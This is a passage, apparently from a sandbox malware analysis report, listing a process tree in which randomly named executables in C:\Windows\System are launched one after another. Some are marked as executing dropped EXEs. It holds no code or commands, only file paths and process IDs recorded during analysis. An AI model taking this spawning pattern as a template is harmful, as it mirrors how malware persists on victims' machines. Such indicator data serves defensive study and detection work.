- C:\Windows\System\QtQONJa.exe
  C:\Windows\System\QtQONJa.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\TVNohqG.exe
  C:\Windows\System\TVNohqG.exe
  2⤵
  - Executes dropped EXE
  PID:2500
- C:\Windows\System\BdSHgTo.exe
  C:\Windows\System\BdSHgTo.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\uJuMiyz.exe
  C:\Windows\System\uJuMiyz.exe
  2⤵
  - Executes dropped EXE
  PID:1644
- C:\Windows\System\TbUTSzG.exe
  C:\Windows\System\TbUTSzG.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\vJdKNaN.exe
  C:\Windows\System\vJdKNaN.exe
  2⤵
  - Executes dropped EXE
  PID:2712
- C:\Windows\System\YILBRgH.exe
  C:\Windows\System\YILBRgH.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\BxqOcfG.exe
  C:\Windows\System\BxqOcfG.exe
  2⤵
  - Executes dropped EXE
  PID:304
- C:\Windows\System\MyajKQj.exe
  C:\Windows\System\MyajKQj.exe
  2⤵
  - Executes dropped EXE
  PID:552
- C:\Windows\System\uawozeB.exe
  C:\Windows\System\uawozeB.exe
  2⤵
  - Executes dropped EXE
  PID:2304
- C:\Windows\System\RYwQSCh.exe
  C:\Windows\System\RYwQSCh.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\aQLBqdM.exe
  C:\Windows\System\aQLBqdM.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\yptMCzw.exe
  C:\Windows\System\yptMCzw.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Windows\System\IRJioxO.exe
  C:\Windows\System\IRJioxO.exe
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Windows\System\goctmfv.exe
  C:\Windows\System\goctmfv.exe
  2⤵
  - Executes dropped EXE
  PID:588
- C:\Windows\System\DasPuNo.exe
  C:\Windows\System\DasPuNo.exe
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Windows\System\pFwhlxb.exe
  C:\Windows\System\pFwhlxb.exe
  2⤵
  - Executes dropped EXE
  PID:836
- C:\Windows\System\FanZJYF.exe
  C:\Windows\System\FanZJYF.exe
  2⤵
  - Executes dropped EXE
  PID:1044
- C:\Windows\System\YqxRewt.exe
  C:\Windows\System\YqxRewt.exe
  2⤵
  - Executes dropped EXE
  PID:1784
- C:\Windows\System\PTpBPrg.exe
  C:\Windows\System\PTpBPrg.exe
  2⤵
  - Executes dropped EXE
  PID:1144
- C:\Windows\System\OtwWOdz.exe
  C:\Windows\System\OtwWOdz.exe
  2⤵
  - Executes dropped EXE
  PID:1092
- C:\Windows\System\KJTlOfh.exe
  C:\Windows\System\KJTlOfh.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\DHsFrxp.exe
  C:\Windows\System\DHsFrxp.exe
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Windows\System\PQMwBHF.exe
  C:\Windows\System\PQMwBHF.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\OatLIZi.exe
  C:\Windows\System\OatLIZi.exe
  2⤵
  - Executes dropped EXE
  PID:276
- C:\Windows\System\TTjpobS.exe
  C:\Windows\System\TTjpobS.exe
  2⤵
  - Executes dropped EXE
  PID:2472
- C:\Windows\System\oiEvNrC.exe
  C:\Windows\System\oiEvNrC.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\YNdEMTy.exe
  C:\Windows\System\YNdEMTy.exe
  2⤵
  - Executes dropped EXE
  PID:2460
- C:\Windows\System\yYhsnBd.exe
  C:\Windows\System\yYhsnBd.exe
  2⤵
  - Executes dropped EXE
  PID:840
- C:\Windows\System\jqisLft.exe
  C:\Windows\System\jqisLft.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\FIYbwQj.exe
  C:\Windows\System\FIYbwQj.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\ewTxjMN.exe
  C:\Windows\System\ewTxjMN.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\pthfFRB.exe
  C:\Windows\System\pthfFRB.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\TYchCnK.exe
  C:\Windows\System\TYchCnK.exe
  2⤵
  - Executes dropped EXE
  PID:824
- C:\Windows\System\zCFAvtW.exe
  C:\Windows\System\zCFAvtW.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\qajOeDl.exe
  C:\Windows\System\qajOeDl.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\UBgQXtv.exe
  C:\Windows\System\UBgQXtv.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\ivQuCJD.exe
  C:\Windows\System\ivQuCJD.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\CuNxZEM.exe
  C:\Windows\System\CuNxZEM.exe
  2⤵
  - Executes dropped EXE
  PID:316
- C:\Windows\System\DZJnyYG.exe
  C:\Windows\System\DZJnyYG.exe
  2⤵
  - Executes dropped EXE
  PID:484
- C:\Windows\System\wNAFLeT.exe
  C:\Windows\System\wNAFLeT.exe
  2⤵
  - Executes dropped EXE
  PID:2492
- C:\Windows\System\NfRimpk.exe
  C:\Windows\System\NfRimpk.exe
  2⤵
  - Executes dropped EXE
  PID:2352
- C:\Windows\System\WWEgyTa.exe
  C:\Windows\System\WWEgyTa.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\BtjAYuR.exe
  C:\Windows\System\BtjAYuR.exe
  2⤵
  PID:2364
- C:\Windows\System\kgDnFgL.exe
  C:\Windows\System\kgDnFgL.exe
  2⤵
  PID:2708
- C:\Windows\System\OoeeELr.exe
  C:\Windows\System\OoeeELr.exe
  2⤵
  PID:1824
- C:\Windows\System\lTdzkPS.exe
  C:\Windows\System\lTdzkPS.exe
  2⤵
  PID:1124
- C:\Windows\System\SqBEHEM.exe
  C:\Windows\System\SqBEHEM.exe
  2⤵
  PID:756
- C:\Windows\System\ioAkaMB.exe
  C:\Windows\System\ioAkaMB.exe
  2⤵
  PID:1924
- C:\Windows\System\TondhAK.exe
  C:\Windows\System\TondhAK.exe
  2⤵
  PID:1484
- C:\Windows\System\YZwUlsb.exe
  C:\Windows\System\YZwUlsb.exe
  2⤵
  PID:2160
- C:\Windows\System\wgTuxHj.exe
  C:\Windows\System\wgTuxHj.exe
  2⤵
  PID:2236
- C:\Windows\System\FDQUXfE.exe
  C:\Windows\System\FDQUXfE.exe
  2⤵
  PID:2404
- C:\Windows\System\ddFQBMh.exe
  C:\Windows\System\ddFQBMh.exe
  2⤵
  PID:1564
- C:\Windows\System\ACZuPmc.exe
  C:\Windows\System\ACZuPmc.exe
  2⤵
  PID:1308
- C:\Windows\System\pwtmZfa.exe
  C:\Windows\System\pwtmZfa.exe
  2⤵
  PID:1372
- C:\Windows\System\hXyPdQR.exe
  C:\Windows\System\hXyPdQR.exe
  2⤵
  PID:888
- C:\Windows\System\fcZbpno.exe
  C:\Windows\System\fcZbpno.exe
  2⤵
  PID:1988
- C:\Windows\System\kTJfIHT.exe
  C:\Windows\System\kTJfIHT.exe
  2⤵
  PID:608
- C:\Windows\System\jXlPTIL.exe
  C:\Windows\System\jXlPTIL.exe
  2⤵
  PID:2280
- C:\Windows\System\ZjfNkue.exe
  C:\Windows\System\ZjfNkue.exe
  2⤵
  PID:2136
- C:\Windows\System\rOELfOa.exe
  C:\Windows\System\rOELfOa.exe
  2⤵
  PID:2112
- C:\Windows\System\LbCakBf.exe
  C:\Windows\System\LbCakBf.exe
  2⤵
  PID:2228
- C:\Windows\System\uFrlhlH.exe
  C:\Windows\System\uFrlhlH.exe
  2⤵
  PID:2384
- C:\Windows\System\iBhCTAT.exe
  C:\Windows\System\iBhCTAT.exe
  2⤵
  PID:3004
- C:\Windows\System\CgxgUmj.exe
  C:\Windows\System\CgxgUmj.exe
  2⤵
  PID:2972
- C:\Windows\System\IJfdQsO.exe
  C:\Windows\System\IJfdQsO.exe
  2⤵
  PID:1956
- C:\Windows\System\aDDnRkG.exe
  C:\Windows\System\aDDnRkG.exe
  2⤵
  PID:1288
- C:\Windows\System\jYKxFpe.exe
  C:\Windows\System\jYKxFpe.exe
  2⤵
  PID:1496
- C:\Windows\System\BMonXLn.exe
  C:\Windows\System\BMonXLn.exe
  2⤵
  PID:1708
- C:\Windows\System\ShdNNGJ.exe
  C:\Windows\System\ShdNNGJ.exe
  2⤵
  PID:2616
- C:\Windows\System\OpCrpln.exe
  C:\Windows\System\OpCrpln.exe
  2⤵
  PID:2852
- C:\Windows\System\bQSjSgW.exe
  C:\Windows\System\bQSjSgW.exe
  2⤵
  PID:2520
- C:\Windows\System\mAfEFtS.exe
  C:\Windows\System\mAfEFtS.exe
  2⤵
  PID:2840
- C:\Windows\System\ORrPKEF.exe
  C:\Windows\System\ORrPKEF.exe
  2⤵
  PID:2184
- C:\Windows\System\sUYzRYe.exe
  C:\Windows\System\sUYzRYe.exe
  2⤵
  PID:752
- C:\Windows\System\OMWjNjT.exe
  C:\Windows\System\OMWjNjT.exe
  2⤵
  PID:1048
- C:\Windows\System\zhsnvqf.exe
  C:\Windows\System\zhsnvqf.exe
  2⤵
  PID:1612
- C:\Windows\System\kijeKUh.exe
  C:\Windows\System\kijeKUh.exe
  2⤵
  PID:2564
- C:\Windows\System\IKkklQg.exe
  C:\Windows\System\IKkklQg.exe
  2⤵
  PID:2432
- C:\Windows\System\zctAekq.exe
  C:\Windows\System\zctAekq.exe
  2⤵
  PID:2984
- C:\Windows\System\hqcgnJu.exe
  C:\Windows\System\hqcgnJu.exe
  2⤵
  PID:300
- C:\Windows\System\lPhzTTh.exe
  C:\Windows\System\lPhzTTh.exe
  2⤵
  PID:2440
- C:\Windows\System\wGkANia.exe
  C:\Windows\System\wGkANia.exe
  2⤵
  PID:668
- C:\Windows\System\lbpUSlF.exe
  C:\Windows\System\lbpUSlF.exe
  2⤵
  PID:2260
- C:\Windows\System\YRmuKWl.exe
  C:\Windows\System\YRmuKWl.exe
  2⤵
  PID:1932
- C:\Windows\System\hBjNmkK.exe
  C:\Windows\System\hBjNmkK.exe
  2⤵
  PID:1184
- C:\Windows\System\LRvFfmu.exe
  C:\Windows\System\LRvFfmu.exe
  2⤵
  PID:340
- C:\Windows\System\FlNvgal.exe
  C:\Windows\System\FlNvgal.exe
  2⤵
  PID:2596
- C:\Windows\System\HBakbSJ.exe
  C:\Windows\System\HBakbSJ.exe
  2⤵
  PID:2512
- C:\Windows\System\bXGMdKD.exe
  C:\Windows\System\bXGMdKD.exe
  2⤵
  PID:1392
- C:\Windows\System\VPxDfRZ.exe
  C:\Windows\System\VPxDfRZ.exe
  2⤵
  PID:1532
- C:\Windows\System\idXwxMX.exe
  C:\Windows\System\idXwxMX.exe
  2⤵
  PID:1384
- C:\Windows\System\IhkcXlI.exe
  C:\Windows\System\IhkcXlI.exe
  2⤵
  PID:2216
- C:\Windows\System\ZpDkOmg.exe
  C:\Windows\System\ZpDkOmg.exe
  2⤵
  PID:2792
- C:\Windows\System\vFTqrhH.exe
  C:\Windows\System\vFTqrhH.exe
  2⤵
  PID:1828
- C:\Windows\System\xvgzPCC.exe
  C:\Windows\System\xvgzPCC.exe
  2⤵
  PID:1592
- C:\Windows\System\OyQLWTJ.exe
  C:\Windows\System\OyQLWTJ.exe
  2⤵
  PID:2396
- C:\Windows\System\tKhsbyd.exe
  C:\Windows\System\tKhsbyd.exe
  2⤵
  PID:2300
- C:\Windows\System\SIUUKdt.exe
  C:\Windows\System\SIUUKdt.exe
  2⤵
  PID:2416
- C:\Windows\System\Fjqhklm.exe
  C:\Windows\System\Fjqhklm.exe
  2⤵
  PID:2296
- C:\Windows\System\BLJmWgH.exe
  C:\Windows\System\BLJmWgH.exe
  2⤵
  PID:2656
- C:\Windows\System\zXjvuXL.exe
  C:\Windows\System\zXjvuXL.exe
  2⤵
  PID:2040
- C:\Windows\System\DkFlofj.exe
  C:\Windows\System\DkFlofj.exe
  2⤵
  PID:2092
- C:\Windows\System\qasfgzk.exe
  C:\Windows\System\qasfgzk.exe
  2⤵
  PID:1304
- C:\Windows\System\YibmDyE.exe
  C:\Windows\System\YibmDyE.exe
  2⤵
  PID:940
- C:\Windows\System\BMhWfXN.exe
  C:\Windows\System\BMhWfXN.exe
  2⤵
  PID:2188
- C:\Windows\System\pHLGVMb.exe
  C:\Windows\System\pHLGVMb.exe
  2⤵
  PID:1764
- C:\Windows\System\vxwfUQz.exe
  C:\Windows\System\vxwfUQz.exe
  2⤵
  PID:2848
- C:\Windows\System\TOpArHB.exe
  C:\Windows\System\TOpArHB.exe
  2⤵
  PID:748
- C:\Windows\System\TqXZbTU.exe
  C:\Windows\System\TqXZbTU.exe
  2⤵
  PID:1700
- C:\Windows\System\kPrcDoK.exe
  C:\Windows\System\kPrcDoK.exe
  2⤵
  PID:3088
- C:\Windows\System\aNnYetE.exe
  C:\Windows\System\aNnYetE.exe
  2⤵
  PID:3112
- C:\Windows\System\WAtnYWh.exe
  C:\Windows\System\WAtnYWh.exe
  2⤵
  PID:3128
- C:\Windows\System\oVMAmGD.exe
  C:\Windows\System\oVMAmGD.exe
  2⤵
  PID:3144
- C:\Windows\System\RfyQZIW.exe
  C:\Windows\System\RfyQZIW.exe
  2⤵
  PID:3160
- C:\Windows\System\SmDmRxq.exe
  C:\Windows\System\SmDmRxq.exe
  2⤵
  PID:3176
- C:\Windows\System\RCKoPsT.exe
  C:\Windows\System\RCKoPsT.exe
  2⤵
  PID:3192
- C:\Windows\System\Ottwcvn.exe
  C:\Windows\System\Ottwcvn.exe
  2⤵
  PID:3208
- C:\Windows\System\cvIEgLR.exe
  C:\Windows\System\cvIEgLR.exe
  2⤵
  PID:3228
- C:\Windows\System\UdzpWPF.exe
  C:\Windows\System\UdzpWPF.exe
  2⤵
  PID:3244
- C:\Windows\System\CcXGUZD.exe
  C:\Windows\System\CcXGUZD.exe
  2⤵
  PID:3260
- C:\Windows\System\ANwbKTa.exe
  C:\Windows\System\ANwbKTa.exe
  2⤵
  PID:3276
- C:\Windows\System\BCTCQtl.exe
  C:\Windows\System\BCTCQtl.exe
  2⤵
  PID:3368
- C:\Windows\System\ViUWWtZ.exe
  C:\Windows\System\ViUWWtZ.exe
  2⤵
  PID:3392
- C:\Windows\System\fMSMnkF.exe
  C:\Windows\System\fMSMnkF.exe
  2⤵
  PID:3424
- C:\Windows\System\aeIreSn.exe
  C:\Windows\System\aeIreSn.exe
  2⤵
  PID:3460
- C:\Windows\System\QIZpMPP.exe
  C:\Windows\System\QIZpMPP.exe
  2⤵
  PID:3564
- C:\Windows\System\Akufsvz.exe
  C:\Windows\System\Akufsvz.exe
  2⤵
  PID:3588
- C:\Windows\System\sXGowvE.exe
  C:\Windows\System\sXGowvE.exe
  2⤵
  PID:3608
- C:\Windows\System\torvUiG.exe
  C:\Windows\System\torvUiG.exe
  2⤵
  PID:3628
- C:\Windows\System\aVyjWvv.exe
  C:\Windows\System\aVyjWvv.exe
  2⤵
  PID:3648
- C:\Windows\System\BCKxfvg.exe
  C:\Windows\System\BCKxfvg.exe
  2⤵
  PID:3668
- C:\Windows\System\uUSbxsK.exe
  C:\Windows\System\uUSbxsK.exe
  2⤵
  PID:3684
- C:\Windows\System\nbkWTOO.exe
  C:\Windows\System\nbkWTOO.exe
  2⤵
  PID:3700
- C:\Windows\System\dGWWGcQ.exe
  C:\Windows\System\dGWWGcQ.exe
  2⤵
  PID:3716
- C:\Windows\System\ilmnBSw.exe
  C:\Windows\System\ilmnBSw.exe
  2⤵
  PID:3732
- C:\Windows\System\upgEcpm.exe
  C:\Windows\System\upgEcpm.exe
  2⤵
  PID:3752
- C:\Windows\System\iUCkiyu.exe
  C:\Windows\System\iUCkiyu.exe
  2⤵
  PID:3780
- C:\Windows\System\DXPmJeM.exe
  C:\Windows\System\DXPmJeM.exe
  2⤵
  PID:3796
- C:\Windows\System\EfaIJOU.exe
  C:\Windows\System\EfaIJOU.exe
  2⤵
  PID:3820
- C:\Windows\System\TpyySPJ.exe
  C:\Windows\System\TpyySPJ.exe
  2⤵
  PID:3844
- C:\Windows\System\EnLEcga.exe
  C:\Windows\System\EnLEcga.exe
  2⤵
  PID:3860
- C:\Windows\System\TEQLrWN.exe
  C:\Windows\System\TEQLrWN.exe
  2⤵
  PID:3880
- C:\Windows\System\FHHEpMB.exe
  C:\Windows\System\FHHEpMB.exe
  2⤵
  PID:3896
- C:\Windows\System\QWCtPjH.exe
  C:\Windows\System\QWCtPjH.exe
  2⤵
  PID:3912
- C:\Windows\System\lCAEEde.exe
  C:\Windows\System\lCAEEde.exe
  2⤵
  PID:3932
- C:\Windows\System\xNTUJTo.exe
  C:\Windows\System\xNTUJTo.exe
  2⤵
  PID:3948
- C:\Windows\System\nDtlzNp.exe
  C:\Windows\System\nDtlzNp.exe
  2⤵
  PID:3964
- C:\Windows\System\oHYKyAK.exe
  C:\Windows\System\oHYKyAK.exe
  2⤵
  PID:3980
- C:\Windows\System\gwfKEtz.exe
  C:\Windows\System\gwfKEtz.exe
  2⤵
  PID:3996
- C:\Windows\System\YPdcqxF.exe
  C:\Windows\System\YPdcqxF.exe
  2⤵
  PID:4012
- C:\Windows\System\hrjjeOK.exe
  C:\Windows\System\hrjjeOK.exe
  2⤵
  PID:4032
- C:\Windows\System\HCfHNXk.exe
  C:\Windows\System\HCfHNXk.exe
  2⤵
  PID:4080
- C:\Windows\System\MBaMdLA.exe
  C:\Windows\System\MBaMdLA.exe
  2⤵
  PID:2608
- C:\Windows\System\dYFXQsv.exe
  C:\Windows\System\dYFXQsv.exe
  2⤵
  PID:868
- C:\Windows\System\ZHUXvmX.exe
  C:\Windows\System\ZHUXvmX.exe
  2⤵
  PID:3100
- C:\Windows\System\TSiPrSv.exe
  C:\Windows\System\TSiPrSv.exe
  2⤵
  PID:3140
- C:\Windows\System\hekBHSA.exe
  C:\Windows\System\hekBHSA.exe
  2⤵
  PID:3204
- C:\Windows\System\NkHWkFL.exe
  C:\Windows\System\NkHWkFL.exe
  2⤵
  PID:3272
- C:\Windows\System\lMsliIJ.exe
  C:\Windows\System\lMsliIJ.exe
  2⤵
  PID:3376
- C:\Windows\System\JBuFjtM.exe
  C:\Windows\System\JBuFjtM.exe
  2⤵
  PID:1804
- C:\Windows\System\RLJabHp.exe
  C:\Windows\System\RLJabHp.exe
  2⤵
  PID:3436
- C:\Windows\System\GinOAqM.exe
  C:\Windows\System\GinOAqM.exe
  2⤵
  PID:2680
- C:\Windows\System\wqoVEtG.exe
  C:\Windows\System\wqoVEtG.exe
  2⤵
  PID:2828
- C:\Windows\System\nQIdCXM.exe
  C:\Windows\System\nQIdCXM.exe
  2⤵
  PID:2924
- C:\Windows\System\JlXGpra.exe
  C:\Windows\System\JlXGpra.exe
  2⤵
  PID:2988
- C:\Windows\System\VUhyhhu.exe
  C:\Windows\System\VUhyhhu.exe
  2⤵
  PID:2436
- C:\Windows\System\lrhegyz.exe
  C:\Windows\System\lrhegyz.exe
  2⤵
  PID:1732
- C:\Windows\System\ehGrhdH.exe
  C:\Windows\System\ehGrhdH.exe
  2⤵
  PID:2552
- C:\Windows\System\VoOulbx.exe
  C:\Windows\System\VoOulbx.exe
  2⤵
  PID:1548
- C:\Windows\System\pcUNxII.exe
  C:\Windows\System\pcUNxII.exe
  2⤵
  PID:3292
- C:\Windows\System\svrOjnr.exe
  C:\Windows\System\svrOjnr.exe
  2⤵
  PID:3308
- C:\Windows\System\ruHsDUH.exe
  C:\Windows\System\ruHsDUH.exe
  2⤵
  PID:3324
- C:\Windows\System\dFVLFGg.exe
  C:\Windows\System\dFVLFGg.exe
  2⤵
  PID:3412
- C:\Windows\System\oRoeEhq.exe
  C:\Windows\System\oRoeEhq.exe
  2⤵
  PID:1244
- C:\Windows\System\ymgBIge.exe
  C:\Windows\System\ymgBIge.exe
  2⤵
  PID:3256
- C:\Windows\System\qvnJVhv.exe
  C:\Windows\System\qvnJVhv.exe
  2⤵
  PID:2868
- C:\Windows\System\vnqibcx.exe
  C:\Windows\System\vnqibcx.exe
  2⤵
  PID:2736
- C:\Windows\System\yWCyuth.exe
  C:\Windows\System\yWCyuth.exe
  2⤵
  PID:1948
- C:\Windows\System\pSsWUzg.exe
  C:\Windows\System\pSsWUzg.exe
  2⤵
  PID:2692
- C:\Windows\System\SJKUZpL.exe
  C:\Windows\System\SJKUZpL.exe
  2⤵
  PID:1676
- C:\Windows\System\FPWfCke.exe
  C:\Windows\System\FPWfCke.exe
  2⤵
  PID:3484
- C:\Windows\System\oACdGSk.exe
  C:\Windows\System\oACdGSk.exe
  2⤵
  PID:3500
- C:\Windows\System\gzpzerh.exe
  C:\Windows\System\gzpzerh.exe
  2⤵
  PID:3516
- C:\Windows\System\YzredIu.exe
  C:\Windows\System\YzredIu.exe
  2⤵
  PID:3532
- C:\Windows\System\acGDcbO.exe
  C:\Windows\System\acGDcbO.exe
  2⤵
  PID:3556
- C:\Windows\System\AdHmxfX.exe
  C:\Windows\System\AdHmxfX.exe
  2⤵
  PID:3584
- C:\Windows\System\ObxPJPp.exe
  C:\Windows\System\ObxPJPp.exe
  2⤵
  PID:3616
- C:\Windows\System\NQvkrFd.exe
  C:\Windows\System\NQvkrFd.exe
  2⤵
  PID:3664
- C:\Windows\System\wlXQdxH.exe
  C:\Windows\System\wlXQdxH.exe
  2⤵
  PID:3724
- C:\Windows\System\rbKdTel.exe
  C:\Windows\System\rbKdTel.exe
  2⤵
  PID:3772
- C:\Windows\System\SbxxmJu.exe
  C:\Windows\System\SbxxmJu.exe
  2⤵
  PID:3636
- C:\Windows\System\vRIEHGg.exe
  C:\Windows\System\vRIEHGg.exe
  2⤵
  PID:2624
- C:\Windows\System\oECKJfb.exe
  C:\Windows\System\oECKJfb.exe
  2⤵
  PID:3812
- C:\Windows\System\KjBchRg.exe
  C:\Windows\System\KjBchRg.exe
  2⤵
  PID:3708
- C:\Windows\System\WKGQuNC.exe
  C:\Windows\System\WKGQuNC.exe
  2⤵
  PID:3744
- C:\Windows\System\QnUBPQa.exe
  C:\Windows\System\QnUBPQa.exe
  2⤵
  PID:3868
- C:\Windows\System\QQMjjzS.exe
  C:\Windows\System\QQMjjzS.exe
  2⤵
  PID:3920
- C:\Windows\System\uqNlgOr.exe
  C:\Windows\System\uqNlgOr.exe
  2⤵
  PID:3960
- C:\Windows\System\BlswpWt.exe
  C:\Windows\System\BlswpWt.exe
  2⤵
  PID:4028
- C:\Windows\System\HGyhqXE.exe
  C:\Windows\System\HGyhqXE.exe
  2⤵
  PID:3836
- C:\Windows\System\HoksmYN.exe
  C:\Windows\System\HoksmYN.exe
  2⤵
  PID:2356
- C:\Windows\System\dmWtUcs.exe
  C:\Windows\System\dmWtUcs.exe
  2⤵
  PID:4092
- C:\Windows\System\sRhwMeZ.exe
  C:\Windows\System\sRhwMeZ.exe
  2⤵
  PID:3200
- C:\Windows\System\urcoRjs.exe
  C:\Windows\System\urcoRjs.exe
  2⤵
  PID:1276
- C:\Windows\System\AkcWIhD.exe
  C:\Windows\System\AkcWIhD.exe
  2⤵
  PID:2996
- C:\Windows\System\crDxGEj.exe
  C:\Windows\System\crDxGEj.exe
  2⤵
  PID:572
- C:\Windows\System\oCOlnun.exe
  C:\Windows\System\oCOlnun.exe
  2⤵
  PID:2796
- C:\Windows\System\sphlVEi.exe
  C:\Windows\System\sphlVEi.exe
  2⤵
  PID:3332
- C:\Windows\System\qnizKbw.exe
  C:\Windows\System\qnizKbw.exe
  2⤵
  PID:3352
- C:\Windows\System\OQYBQOY.exe
  C:\Windows\System\OQYBQOY.exe
  2⤵
  PID:3792
- C:\Windows\System\TowlsgC.exe
  C:\Windows\System\TowlsgC.exe
  2⤵
  PID:3400
- C:\Windows\System\yTGdqiZ.exe
  C:\Windows\System\yTGdqiZ.exe
  2⤵
  PID:2900
- C:\Windows\System\CuNDbQP.exe
  C:\Windows\System\CuNDbQP.exe
  2⤵
  PID:3288
- C:\Windows\System\AOnmIot.exe
  C:\Windows\System\AOnmIot.exe
  2⤵
  PID:3940
- C:\Windows\System\hoeFGeL.exe
  C:\Windows\System\hoeFGeL.exe
  2⤵
  PID:4008
- C:\Windows\System\ULiTlpB.exe
  C:\Windows\System\ULiTlpB.exe
  2⤵
  PID:4060
- C:\Windows\System\kxiTtxb.exe
  C:\Windows\System\kxiTtxb.exe
  2⤵
  PID:4076
- C:\Windows\System\ixnMfOA.exe
  C:\Windows\System\ixnMfOA.exe
  2⤵
  PID:3136
- C:\Windows\System\ZvcheIs.exe
  C:\Windows\System\ZvcheIs.exe
  2⤵
  PID:3420
- C:\Windows\System\VJyQkok.exe
  C:\Windows\System\VJyQkok.exe
  2⤵
  PID:1544
- C:\Windows\System\dbtuJfj.exe
  C:\Windows\System\dbtuJfj.exe
  2⤵
  PID:1736
- C:\Windows\System\ylalhVr.exe
  C:\Windows\System\ylalhVr.exe
  2⤵
  PID:3508
- C:\Windows\System\tZRnUJc.exe
  C:\Windows\System\tZRnUJc.exe
  2⤵
  PID:3548
- C:\Windows\System\vrsYDBh.exe
  C:\Windows\System\vrsYDBh.exe
  2⤵
  PID:3692
- C:\Windows\System\vGQzMUe.exe
  C:\Windows\System\vGQzMUe.exe
  2⤵
  PID:3808
- C:\Windows\System\HsXlAwa.exe
  C:\Windows\System\HsXlAwa.exe
  2⤵
  PID:3888
- C:\Windows\System\GbFDNNn.exe
  C:\Windows\System\GbFDNNn.exe
  2⤵
  PID:4024
- C:\Windows\System\eQreWFP.exe
  C:\Windows\System\eQreWFP.exe
  2⤵
  PID:3096
- C:\Windows\System\WKLpGxE.exe
  C:\Windows\System\WKLpGxE.exe
  2⤵
  PID:4100
- C:\Windows\System\tqrOjqN.exe
  C:\Windows\System\tqrOjqN.exe
  2⤵
  PID:4116
- C:\Windows\System\AUXJGGO.exe
  C:\Windows\System\AUXJGGO.exe
  2⤵
  PID:4132
- C:\Windows\System\ZoHAKmu.exe
  C:\Windows\System\ZoHAKmu.exe
  2⤵
  PID:4148
- C:\Windows\System\ARZmvee.exe
  C:\Windows\System\ARZmvee.exe
  2⤵
  PID:4164
- C:\Windows\System\ahyZOSA.exe
  C:\Windows\System\ahyZOSA.exe
  2⤵
  PID:4180
- C:\Windows\System\zguLjKV.exe
  C:\Windows\System\zguLjKV.exe
  2⤵
  PID:4196
- C:\Windows\System\BrBjekr.exe
  C:\Windows\System\BrBjekr.exe
  2⤵
  PID:4212
- C:\Windows\System\QIdOQmc.exe
  C:\Windows\System\QIdOQmc.exe
  2⤵
  PID:4228
- C:\Windows\System\eRpgxRa.exe
  C:\Windows\System\eRpgxRa.exe
  2⤵
  PID:4484
- C:\Windows\System\GjFOJBb.exe
  C:\Windows\System\GjFOJBb.exe
  2⤵
  PID:4500
- C:\Windows\System\auntQOA.exe
  C:\Windows\System\auntQOA.exe
  2⤵
  PID:4516
- C:\Windows\System\IOUDcWD.exe
  C:\Windows\System\IOUDcWD.exe
  2⤵
  PID:4532
- C:\Windows\System\kQHFudL.exe
  C:\Windows\System\kQHFudL.exe
  2⤵
  PID:4548
- C:\Windows\System\isxpusj.exe
  C:\Windows\System\isxpusj.exe
  2⤵
  PID:4564
- C:\Windows\System\lmcCABc.exe
  C:\Windows\System\lmcCABc.exe
  2⤵
  PID:4580
- C:\Windows\System\nFcyHvb.exe
  C:\Windows\System\nFcyHvb.exe
  2⤵
  PID:4596
- C:\Windows\System\jSDgNJZ.exe
  C:\Windows\System\jSDgNJZ.exe
  2⤵
  PID:4612
- C:\Windows\System\YsxvzMn.exe
  C:\Windows\System\YsxvzMn.exe
  2⤵
  PID:4628
- C:\Windows\System\bJYbgtH.exe
  C:\Windows\System\bJYbgtH.exe
  2⤵
  PID:4644
- C:\Windows\System\ONDAmag.exe
  C:\Windows\System\ONDAmag.exe
  2⤵
  PID:4660
- C:\Windows\System\vwrjjDD.exe
  C:\Windows\System\vwrjjDD.exe
  2⤵
  PID:4676
- C:\Windows\System\SasOfNv.exe
  C:\Windows\System\SasOfNv.exe
  2⤵
  PID:4696
- C:\Windows\System\mOnvUaC.exe
  C:\Windows\System\mOnvUaC.exe
  2⤵
  PID:4712
- C:\Windows\System\ysfyflC.exe
  C:\Windows\System\ysfyflC.exe
  2⤵
  PID:4728
- C:\Windows\System\xVmWybc.exe
  C:\Windows\System\xVmWybc.exe
  2⤵
  PID:4744
- C:\Windows\System\YGwXLAM.exe
  C:\Windows\System\YGwXLAM.exe
  2⤵
  PID:4764
- C:\Windows\System\mHfarvn.exe
  C:\Windows\System\mHfarvn.exe
  2⤵
  PID:4780
- C:\Windows\System\BuhVZbQ.exe
  C:\Windows\System\BuhVZbQ.exe
  2⤵
  PID:4796
- C:\Windows\System\PcJJOjE.exe
  C:\Windows\System\PcJJOjE.exe
  2⤵
  PID:4812
- C:\Windows\System\lQABtOW.exe
  C:\Windows\System\lQABtOW.exe
  2⤵
  PID:4828
- C:\Windows\System\RPkShQP.exe
  C:\Windows\System\RPkShQP.exe
  2⤵
  PID:4844
- C:\Windows\System\uNxRdBW.exe
  C:\Windows\System\uNxRdBW.exe
  2⤵
  PID:4988
- C:\Windows\System\FyDCBnT.exe
  C:\Windows\System\FyDCBnT.exe
  2⤵
  PID:5004
- C:\Windows\System\kOGqMXG.exe
  C:\Windows\System\kOGqMXG.exe
  2⤵
  PID:5024
- C:\Windows\System\DuNjVma.exe
  C:\Windows\System\DuNjVma.exe
  2⤵
  PID:5052
- C:\Windows\System\jqlzyxF.exe
  C:\Windows\System\jqlzyxF.exe
  2⤵
